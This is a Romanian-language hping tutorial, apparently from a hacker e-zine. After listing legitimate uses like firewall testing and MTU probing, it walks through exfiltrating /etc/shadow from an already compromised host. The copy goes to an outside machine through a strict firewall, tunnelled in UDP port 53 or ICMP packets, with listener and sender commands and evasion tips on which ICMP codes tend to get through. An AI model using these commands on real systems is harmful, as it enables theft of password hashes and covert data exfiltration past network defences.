hping How-To    
 

hping este un programel extrem de util cu care se pot construi si trimite orice fel de pachete TCP, UDP sau ICMP si (evident) sa afiseze intr-un format util raspunsurile primite de la calculatorul la care au fost trimise. Din cauza flexibilitatii extreme pe care o are poate fi folosit la multe lucruri care ar fi avut nevoie (in mod normal) de un program dedicat. Cateva posibile exemple de utilizare:
- testatul regulilor de firewall (simuland firewalk)
- spoof port scanning (a se vedea articolul din ERH #1 pentru detalii) - testarea MTU pe conexiunile la Internet (simuland practic algoritmul de path MTU discovery implementat de marea majoritate a implementarilor TCP/IP)
- testarea calitatii/performantelor/problemelor conexiunilor la Internet.
Dat fiind ca se poate seta campul TOS (Type Of Service) al pachetelor trimise, se pot testa si clasele de acces QoS implementate cu (de exemplu) routere Linux sau Xedia Accesspoint
- transferul de fisiere prin firewall-uri cu reguli foarte stricte
- simularea "traceroute" intr-un mod mult mai flexibil
- identificarea sistemului de operare de la distanta (gen nmap -O si queso)
- familiarizarea cu protocoalele TCP/IP (desi niste cunostinte de baza sunt necesare pentru inceput)
- multe, *multe* altele. Limita e doar imaginatia ;-)

Sursa programului este disponibila (licenta GPL) si poate fi obtinuta de la adresa http://www.kyuzz.org/antirez/hping2.html. Compilarea este banala daca ati mai compilat programe pe Linux. Daca nu... read the fine manual :)

Acest articol face parte dintr-o serie mai lunga dedicata networking-ului (primul fiind cel din ERH #1, despre spoof scanning) si trateaza transferul de fisiere intre doua hosturi, trecand printr-un firewall foarte strict (exemplu practic: ati spart un calculator care e in spatele unui firewall si nu aveti cum sa uploaduiti fisiere).

Metoda prezentata aici se bazeaza pe faptul ca marea majoritate a firewall-urilor lasa sa treaca pachete UDP avand ca port destinatie 53 (folosit pentru DNS). Este doar un exemplu si, desi functioneaza, vor exista probabil cazuri in care va trebui sa gasiti alt tip de pachete cu care sa treceti de firewall. Conceptul ramane insa acelasi.

Concret, se dau doua hosturi, A si B, despartite de un firewall care lasa sa treaca pachetele DNS (UDP, port 53). A a fost spart si vrem sa copiem /etc/shadow pe B (in scopuri, ehmmm, instructive ;-). Rulam pe B comanda: hping A --listen InVaLiD --safe
asta inseamna: hping va asculta pachete venind de la A, si care contin stringul "InVaLid" (protectie necesara in caz ca mai circula si pachete DNS reale). --safe ii spune hping-ului sa reia pachetele pierdute (foarte important pentru protocoale nesigure gen UDP si ICMP).
Pe A rulam comanda:
hping B --udp -p 53 -d 100 --sign InVaLiD --safe --file /etc/shadow
ceea ce-l va determina hping-ul sa trimita la B pachete UDP (--udp) pe portul 53 (-p 53) cu 100 de octeti de date fiecare (-d 100) si care incep cu stringul "InVaLiD" (--sign InVaLiD) pentru a putea fi recunoscute la celalalt capat. --safe are aceeasi semnificatie ca si la comanda precedenta. Ce face --file e lasat ca un execitiu pentru cititor :)
Dupa ce au fost lansate cele doua comenzi, transferul incepe. Cateva lucruri de care trebuie tinut seama:

- implicit, hping trimite un pachet pe secunda. Daca transferati fisiere mari acest lucru poate fi deranjant, asa ca puteti modifica timpul de asteptare intre doua pachete folosind parametrul "-i" la hping
- dupa ce a terminat de trimis tot fisierul, A o va lua de la capat ! deci ar fi bine daca ati nota undeva lungimea fisierului si ati opri transferul dupa ce a venit tot... :)
- dupa cum am spus deja, asta e doar un exemplu. Se pot folosi *orice* fel de pachete, singura conditie fiind sa treaca de regulile firewall-ului. De exemplu, pentru un transfer cu ICMP puteti folosi:
hping B --icmp -d 100 -sign InVaLiD --safe --file /etc/shadow
(comanda de receptie data pe B ramane la fel).
Daca firewall-ul taie ICMP echo-request, puteti adauga "--icmpcode destination-unreachable" la linia de comanda :) (o lista completa a codurilor ICMP poate fi aflata ruland "ipchains -h icmp"; cateva coduri care e foarte probabil sa treaca de firewall-uri sunt: port-unreachable, fragmentation-needed, host-unreachable)
- e posibil sa nu reusiti sa gasiti o combinatie de pachete care sa va permita comunicatia, va trebui sa renuntati la --safe si sa verificati dupa aceea (cu md5sum) daca transferul a decurs fara probleme.

Have fun :)

   

Petru Paler
[email protected]
   
Hosted by www.Geocities.ws

1